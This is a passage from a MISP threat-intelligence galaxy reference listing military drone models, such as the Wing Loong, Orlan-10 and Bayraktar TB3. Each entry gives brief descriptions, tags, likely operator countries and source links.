- similar: misp-galaxy:country="algeria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="egypt" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iraq" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="jordan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="myanmar" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkmenistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="zambia" with estimative-language:likelihood-probability="likely"

Table 24841. Table References

Links
https://en.wikipedia.org/wiki/CASC_Rainbow

tai anka

MALE UAV

The tag is: *misp-galaxy:uavs="tai anka"*

View relationships graph

tai anka has relationships with:

- similar: misp-galaxy:country="algeria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="chad" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kazakhstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kyrgyzstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="malaysia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="tunisia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="uzbekistan" with estimative-language:likelihood-probability="likely"

Table 24842. Table References

Links
https://en.wikipedia.org/wiki/TAI_Anka

Tai aksungur

MALE UAV

The tag is: *misp-galaxy:uavs="Tai aksungur"*

View relationships graph

Tai aksungur has relationships with:

- similar: misp-galaxy:country="algeria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="angola" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="chad" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kyrgyzstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="niger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="tunisia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="uzbekistan" with estimative-language:likelihood-probability="likely"

Table 24843. Table References

Links
https://en.wikipedia.org/wiki/TAI_Aksungur

wing loong I (Chengdu GJ-1)

MALE UAV

The tag is: *misp-galaxy:uavs="wing loong I (Chengdu GJ-1)"*

View relationships graph

wing loong I (Chengdu GJ-1) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="egypt" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kazakhstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="nigeria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 24844. Table References

Links
https://en.wikipedia.org/wiki/CAIG_Wing_Loong

wing loong ii

The Wing Loong II is a Chinese CLASS III MALE UAV for armed ISR and strike, with a rotary engine. Exported as a cost-effective Reaper-class platform, it is operated by China, the UAE, Pakistan, Morocco, and Ethiopia for long-endurance surveillance and precision attack missions.

The tag is: *misp-galaxy:uavs="wing loong ii"*

View relationships graph

wing loong ii has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 24845. Table References

Links
https://en.wikipedia.org/wiki/CAIG_Wing_Loong_II

wing loong iii

The Wing Loong III is a large Chinese MALE UAV for long-endurance ISR and strike missions, with a rotary engine. Operated by China, it serves as an armed platform for extended-range reconnaissance and precision attack.

The tag is: *misp-galaxy:uavs="wing loong iii"*

View relationships graph

wing loong iii has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24846. Table References

Links
https://en.wikipedia.org/wiki/CAIG_Wing_Loong_III

gj-11

Stealth UCAV

The tag is: *misp-galaxy:uavs="gj-11"*

View relationships graph

gj-11 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24847. Table References

Links
https://en.wikipedia.org/wiki/GJ-11

MQ-1 Predator

The General Atomics MQ-1 Predator is a MALE UAV optimized for long-endurance ISR with an armed capability for precision strikes using Hellfire missiles. Extensively employed by the United States and partners from the late 1990s, it is retired from U.S. service and largely superseded by the MQ-9 Reaper.

The tag is: *misp-galaxy:uavs="MQ-1 Predator"*

View relationships graph

MQ-1 Predator has relationships with:

- similar: misp-galaxy:country="italy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24848. Table References

Links
https://en.wikipedia.org/wiki/General_Atomics_MQ-1_Predator

mq-1c gray eagle

MALE UAV

The tag is: *misp-galaxy:uavs="mq-1c gray eagle"*

View relationships graph

mq-1c gray eagle has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24849. Table References

Links
https://en.wikipedia.org/wiki/MQ-1C_Gray_Eagle

vestel karayel

Tactical UAV

The tag is: *misp-galaxy:uavs="vestel karayel"*

View relationships graph

vestel karayel has relationships with:

- similar: misp-galaxy:country="saudi arabia" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24850. Table References

Links
https://en.wikipedia.org/wiki/Vestel_Karayel

kronshtadt orion

MALE UAV

The tag is: *misp-galaxy:uavs="kronshtadt orion"*

View relationships graph

kronshtadt orion has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24851. Table References

Links
https://en.wikipedia.org/wiki/Kronshtadt_Orion

Forpost-R

The Forpost-R is a Russian MALE UAV derived from the domestically localized version of the Israeli Searcher Mk II. It is primarily used for ISR missions (surveillance, reconnaissance, target designation). Unlike the original Forpost, it has a limited strike capability using light precision-guided munitions. Its endurance is around 16–18 hours with a payload of roughly 100 kg. The platform remains vulnerable to air defenses and electronic warfare, restricting use in contested airspace.

The tag is: *misp-galaxy:uavs="Forpost-R"*

View relationships graph

Forpost-R has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24852. Table References

Links
https://en.wikipedia.org/wiki/IAI_Searcher#Forpost-R
https://war-sanctions.gur.gov.ua/en/uav/281

shahed 129

MALE loitering UAV

The tag is: *misp-galaxy:uavs="shahed 129"*

View relationships graph

shahed 129 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24853. Table References

Links
https://en.wikipedia.org/wiki/Shahed_129

mohajer-6 (□□□□□)

Tactical UAV

The tag is: *misp-galaxy:uavs="mohajer-6 (□□□□□)"*

View relationships graph

mohajer-6 (□□□□□) has relationships with:

- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iraq" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="syria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="venezuela" with estimative-language:likelihood-probability="likely"

Table 24854. Table References

Links
https://en.wikipedia.org/wiki/Mohajer-6

Ababil-3 (□□□□□□)

Tactical UAV/Iran

The tag is: *misp-galaxy:uavs="Ababil-3 (□□□□□□)"*

View relationships graph

Ababil-3 (□□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iraq" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="syria" with estimative-language:likelihood-probability="likely"

Table 24855. Table References

Links
https://en.wikipedia.org/wiki/Ababil-3

Ababil-4 (□□□□□□)

The Ababil-4 is an Iranian HESA tactical UAV for intelligence, surveillance, and reconnaissance with optional strike capability, powered by a rotary engine and carrying up to 40 kg of sensors or munitions. With a 14-hour endurance, 8 m wingspan, and 241 km/h top speed, it supports Iran and Tajikistan in long-duration reconnaissance and limited attack roles.

The tag is: *misp-galaxy:uavs="Ababil-4 (□□□□□□)"*

View relationships graph

Ababil-4 (□□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="tajikistan" with estimative-language:likelihood-probability="likely"

Table 24856. Table References

Links
https://en.wikipedia.org/wiki/HESA_Ababil

Hamaseh (□□□□□)

Combat UAV/Iran

The tag is: *misp-galaxy:uavs="Hamaseh (□□□□□)"*

View relationships graph

Hamaseh (□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24857. Table References

Links
https://en.wikipedia.org/wiki/Hamaseh

saegheh

UCAV prototype

The tag is: *misp-galaxy:uavs="saegheh"*

View relationships graph

saegheh has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24858. Table References

Links
https://en.wikipedia.org/wiki/Saegheh

Meraj 214 (□□□□□ □□□□□)

Small UAV/Iran

The tag is: *misp-galaxy:uavs="Meraj 214 (□□□□□ □□□□□)"*

View relationships graph

Meraj 214 (□□□□□ □□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24859. Table References

Links
https://ar.wikipedia.org/wiki/%D9%85%D8%B9%D8%B1%D8%A7%D8%AC_(%D8%B7%D8%A7%D8%A6%D8%B1%D8%A9_%D8%A8%D8%AF%D9%88%D9%86_%D8%B7%D9%8A%D8%A7%D8%B1)

Ababil (□□□□□□)

Ababil family/Iran

The tag is: *misp-galaxy:uavs="Ababil (□□□□□□)"*

View relationships graph

Ababil (□□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24860. Table References

Links
https://en.wikipedia.org/wiki/HESA_Ababil

shahed 171 simorgh

Large UAV/Iran

The tag is: *misp-galaxy:uavs="shahed 171 simorgh"*

View relationships graph

shahed 171 simorgh has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 24861. Table References

Links
https://en.wikipedia.org/wiki/Shahed_171_Simorgh

ncsist teng yun

MALE UAV

The tag is: *misp-galaxy:uavs="ncsist teng yun"*

View relationships graph

ncsist teng yun has relationships with:

- similar: misp-galaxy:country="taiwan" with estimative-language:likelihood-probability="likely"

Table 24862. Table References

Links
https://en.wikipedia.org/wiki/NCSIST_Teng_Yun

kbla-ivt

VTOL;UAV

The tag is: *misp-galaxy:uavs="kbla-ivt"*

View relationships graph

kbla-ivt has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24863. Table References

Links
https://www.popularmechanics.com/military/a40298287/drone-fighting-ukraine-war-russia/
https://www.armyrecognition.com/archives/archives-aerospace-defense/aerospace-defense-2020/russian-aerospace-forces-take-delivery-of-first-kbla-ivts-vertical-take-off-and-landing-drones

Evo II

VTOL

The tag is: *misp-galaxy:uavs="Evo II"*

View relationships graph

Evo II has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24864. Table References

Links
https://www.popularmechanics.com/military/a40298287/drone-fighting-ukraine-war-russia/
https://www.autelrobotics.com/productdetail/evo-ii-drones/

Golden eagle

ISR

The tag is: *misp-galaxy:uavs="Golden eagle"*

View relationships graph

Golden eagle has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24865. Table References

Links
https://www.epequip.com/wp-content/uploads/2022/07/TEAL_GoldenEagle_EPE_Branded.pdf

x2

ISR;VTOL

The tag is: *misp-galaxy:uavs="x2"*

View relationships graph

x2 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="new zealand" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24866. Table References

Links
https://en.wikipedia.org/wiki/Skydio_X2

Rq-4 Global hawk

ISR;HALE

The tag is: *misp-galaxy:uavs="Rq-4 Global hawk"*

View relationships graph

Rq-4 Global hawk has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24867. Table References

Links
https://en.wikipedia.org/wiki/Northrop_Grumman_RQ-4_Global_Hawk

Zala 421-12

Small tactical UAV

The tag is: *misp-galaxy:uavs="Zala 421-12"*

View relationships graph

Zala 421-12 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24868. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/7e8542fd122719317c8d6461d9d8ba26

Tu-141 strizh

ISR;LM

The tag is: *misp-galaxy:uavs="Tu-141 strizh"*

View relationships graph

Tu-141 strizh has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24869. Table References

Links
https://en.wikipedia.org/wiki/Tupolev_Tu-141

Granat-4 (Гранат-4)

SMALL;ISR

The tag is: *misp-galaxy:uavs="Granat-4 (Гранат-4)"*

View relationships graph

Granat-4 (Гранат-4) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24870. Table References

Links
https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%BD%D0%B0%D1%82-4
https://war-sanctions.gur.gov.ua/en/uav/380

Orlan-10

Long-endurance tactical UAV

The tag is: *misp-galaxy:uavs="Orlan-10"*

View relationships graph

Orlan-10 has relationships with:

- similar: misp-galaxy:country="kazakhstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24871. Table References

Links
https://en.wikipedia.org/wiki/STC_Orlan-10
https://war-sanctions.gur.gov.ua/en/uav/207

Orlan-30

ISR;MINI

The tag is: *misp-galaxy:uavs="Orlan-30"*

View relationships graph

Orlan-30 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24872. Table References

Links
https://militarydrone.net/2023/01/22/orlan-30-the-twice-as-big-brother-of-orlan-10/
https://war-sanctions.gur.gov.ua/en/uav/406

quantum vector

VTOL;ISR;SMALL

The tag is: *misp-galaxy:uavs="quantum vector"*

View relationships graph

quantum vector has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 24873. Table References

Links

https://www.armyrecognition.com/archives/archives-land-defense/land-defense-2024/romania-enhances-aerial-reconnaissance-capabilities-with-new-quantum-systems-vector-drone-purchase

Spectator

Small ISR UAV

The tag is: *misp-galaxy:uavs="Spectator"*

View relationships graph

Spectator has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24874. Table References

Links
https://en.defence-ua.com/weapon_and_tech/spectator_m1_mission_successful-1644.html

RQ-20 puma

The AeroVironment RQ-20 Puma is a small, hand-launched, electric fixed-wing ISR UAV that provides day/night electro-optical/IR surveillance and target acquisition for small units, with about 2.5 hours endurance and a top speed around 76 km/h. Unarmed and classed as a small Class I system, it is operated by the United States and has been fielded by Ukraine for tactical reconnaissance.

The tag is: *misp-galaxy:uavs="RQ-20 puma"*

View relationships graph

RQ-20 puma has relationships with:

- similar: misp-galaxy:country="albania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="belgium" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="costa rica" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="czechia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="denmark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="egypt" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="estonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="greece" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kosovo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="latvia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="luxembourg" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="netherlands" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="new zealand" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="norway" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="philippines" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sweden" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united kingdom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24875. Table References

Links
https://en.wikipedia.org/wiki/AeroVironment_RQ-20_Puma

E95m

UAV ;LM

The tag is: *misp-galaxy:uavs="E95m"*

View relationships graph

E95m has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24876. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/276
https://english.iswnews.com/24328/military-knowledge-e95m-target-drone/

tu-143 reis

Short-range turbojet drone (historic)

The tag is: *misp-galaxy:uavs="tu-143 reis"*

View relationships graph

tu-143 reis has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24877. Table References

Links
https://example.com/misp/tu-143

BirdEye 400 (Zastava)

The IAI BirdEye 400 (Russian designation: Zastava) is a small, electric, unarmed tactical UAV used by Israel and Russia for short-range ISR, providing real-time electro-optical day/night surveillance and target acquisition at platoon/company level. With about 80 minutes endurance and quiet operation, it is optimized for portable deployment supporting reconnaissance, border security, and artillery adjustment.

The tag is: *misp-galaxy:uavs="BirdEye 400 (Zastava)"*

View relationships graph

BirdEye 400 (Zastava) has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24878. Table References

Links
https://www.globalsecurity.org/military/world/russia/zastava.htm

Punisher

Loitering munition/attack UAV

The tag is: *misp-galaxy:uavs="Punisher"*

View relationships graph

Punisher has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24879. Table References

Links
https://en.wikipedia.org/wiki/Punisher_(drone)

takhion (Тахион)

ISR

The tag is: *misp-galaxy:uavs="takhion (Тахион)"*

View relationships graph

takhion (Тахион) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24880. Table References

Links
https://ru.wikipedia.org/wiki/Takhion

A1-CM Furia (A1-C Фурия)

Since 2014 the system is widely used during the Joint Forces Operation in eastern Ukraine to conduct aerial reconnaissance and artillery fire adjustment. The long flight endurance and the long-range of the command line make it possible to carry out tasks at a tactical depth up to 50 kilometers. The system consists of the three unmanned aerial vehicles, three daytime payloads, and two nighttime payloads equipped with thermal imagers.

The tag is: *misp-galaxy:uavs="A1-CM Furia (A1-C Фурия)"*

View relationships graph

A1-CM Furia (A1-C Фурия) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24881. Table References

Links
https://en.wikipedia.org/wiki/Athlon_Avia_A1-CM_Furia
https://athlonavia.com/en/furia/

eleron-3 (Элерон-3, 3SV)

Eleron-3 is a light Russian tactical UAV developed by ENICS for short-range ISR missions. It is hand-launched, electrically powered, and optimized for unit-level reconnaissance and artillery spotting. The drone carries a day/night EO payload and emphasizes portability and rapid deployment. Its endurance is typically 1.5–2 hours, with a modest operational radius. The system is designed for simplicity, low cost, and field robustness.

Eleron-3SV is an improved variant of the Eleron-3, introduced for enhanced battlefield performance. It features upgraded communications, improved navigation, and better resistance to electronic interference. The payload and endurance are slightly improved compared to the base version. The 3SV is better suited for contested electromagnetic environments. Overall, it represents an incremental modernization, not a new platform.

The tag is: *misp-galaxy:uavs="eleron-3 (Элерон-3, 3SV)"*

View relationships graph

eleron-3 (Элерон-3, 3SV) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 24882. Table References

Links
https://en.wikipedia.org/wiki/ENICS_Eleron-3

switchblade 300

SMALL;LM

The tag is: *misp-galaxy:uavs="switchblade 300"*

View relationships graph

switchblade 300 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24883. Table References

Links
https://www.avinc.com/lms/switchblade

switchblade 600

LM

The tag is: *misp-galaxy:uavs="switchblade 600"*

View relationships graph

switchblade 600 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24884. Table References

Links
https://en.wikipedia.org/wiki/AeroVironment_Switchblade

Bayraktar TB3

The tag is: *misp-galaxy:uavs="Bayraktar TB3"*

View relationships graph

Bayraktar TB3 has relationships with:

- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24885. Table References

Links
https://en.wikipedia.org/wiki/Baykar_Bayraktar_TB3
https://baykartech.com/en/uav/bayraktar-tb3/

Bayraktar KIZILELMA

The tag is: *misp-galaxy:uavs="Bayraktar KIZILELMA"*

View relationships graph

Bayraktar KIZILELMA has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24886. Table References

Links
https://baykartech.com/en/uav/bayraktar-kizilelma/

Bayraktar KALKAN

VTOL

The tag is: *misp-galaxy:uavs="Bayraktar KALKAN"*

View relationships graph

Bayraktar KALKAN has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 24887. Table References

Links
https://en.wikipedia.org/wiki/Bayraktar_VTOL

Scout

The tag is: *misp-galaxy:uavs="Scout"*

View relationships graph

Scout has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24888. Table References

Links
https://www.iai.co.il/p/scout

IAI Pionner

The tag is: *misp-galaxy:uavs="IAI Pionner"*

Table 24889. Table References

Links
https://www.iai.co.il/p/pioneer

THUNDER B-VTOL

The tag is: *misp-galaxy:uavs="THUNDER B-VTOL"*

View relationships graph

THUNDER B-VTOL has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24890. Table References

Links
https://www.iai.co.il/p/thunderb-vtol

BirdEye 650D

The tag is: *misp-galaxy:uavs="BirdEye 650D"*

View relationships graph

BirdEye 650D has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24891. Table References

Links
https://www.iai.co.il/p/birdeye-650d

APUS 25

IAI's APUS 25 is a lightweight multirotor VTOL mini-UAS designed to give front-line units rapid, short-range ISR with real-time situational awareness. It emphasizes quick deployment, quiet operation, and stabilized day/night electro-optical imaging for use in urban and complex terrain.

The tag is: *misp-galaxy:uavs="APUS 25"*

View relationships graph

APUS 25 has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24892. Table References

Links
https://www.iai.co.il/p/apus-25

CH-10

UAS

The tag is: *misp-galaxy:uavs="CH-10"*

View relationships graph

CH-10 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24893. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/819b840af2b4975148936bdd3d828c0b
https://www.globaltimes.cn/page/201810/1125359.shtml
http://cndefense.com/uav/CH-10.html
https://armyrecognition.com/news/army-news/army-news2023/china-s-ch-10-uav-sets-new-benchmark-in-vertical-takeoff-and-landing-drones

WZ-7 Xiang Long (soaring Dragon)

UAS

The tag is: *misp-galaxy:uavs="WZ-7 Xiang Long (soaring Dragon)"*

View relationships graph

WZ-7 Xiang Long (soaring Dragon) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 24894. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/055dbc061555bb6fbb5f8d6259d00f6b
https://www.flightglobal.com/military-uavs/zhuhai-uav-bazaar-returns-with-a-vengeance/145685.article
https://www.globaltimes.cn/page/202111/1238671.shtml
https://en.wikipedia.org/wiki/Guizhou_WZ-7_Soaring_Dragon

Puma LE

UAS

The tag is: *misp-galaxy:uavs="Puma LE"*

View relationships graph

Puma LE has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24895. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/4431da96dcf44fe8b813c770b2517574
https://www.businesswire.com/news/home/20191014005228/en/AeroVironment-Launches-New-Puma%E2%84%A2-LE-Delivering-Group-2-Capabilities-in-aGroup-1-Footprint-with-Increased-Range-Endurance-and-Payload-Capacity
https://armyrecognition.com/news/army-news/2022/us-army-orders-puma-le-long-enduranceunmanned-aircraft-systems

Puma 3 AE

UAS

The tag is: *misp-galaxy:uavs="Puma 3 AE"*

View relationships graph

Puma 3 AE has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24896. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/c3caca3061d8b8986c3b58c005ab7717
https://www.naval-technology.com/projects/puma-3-ae/
https://bulgarianmilitary.com/2024/05/14/us-origin-rq-20-puma-uav-hunts-russias-s-300-air-defensesystems/
https://www.businesswire.com/news/home/20240214499488/en/AeroVironment%E2%80%99s-Puma-3-AE-Now-Offers-Extended-Endurance-of-Up-To-3Hours

Spector M1 (meridian)

UAS

The tag is: *misp-galaxy:uavs="Spector M1 (meridian)"*

View relationships graph

Spector M1 (meridian) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 24897. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/785195180e7460647981b1d63cb6164d
https://commons.wikimedia.org/wiki/File:Spectator_UAV.jpg
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=2455

Searcher Mk III

EW, UAS

The tag is: *misp-galaxy:uavs="Searcher Mk III"*

View relationships graph

Searcher Mk III has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24898. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/d1540eccf96dd1cd5a3b0fd0057aee01
https://www.militaryfactory.com/aircraft/detail.php?aircraft_id=1064
https://www.army-technology.com/news/nspa-tests-spanish-army-upgraded-pasi-searchersmk-iii-class-ii-uavs/
https://en.topwar.ru/89909-nastoyaschee-i-buduschee-bespilotnoy-aviacii-chast-2.html

Heron TP (eitan)

MALE, UAS

The tag is: *misp-galaxy:uavs="Heron TP (eitan)"*

View relationships graph

Heron TP (eitan) has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24899. Table References

Links

https://odin.tradoc.army.mil/WEG/Asset/31264fe6585eda4ee1d753e5f4828b3d
https://armyrecognition.com/news/army-news/army-news-2024/israeli-heron-tp-drones-enter-active-duty-with-german-air-force
https://www.jns.org/israelaerospace-industries-to-showcase-radars-defense-systems-at-greek-exhibition/
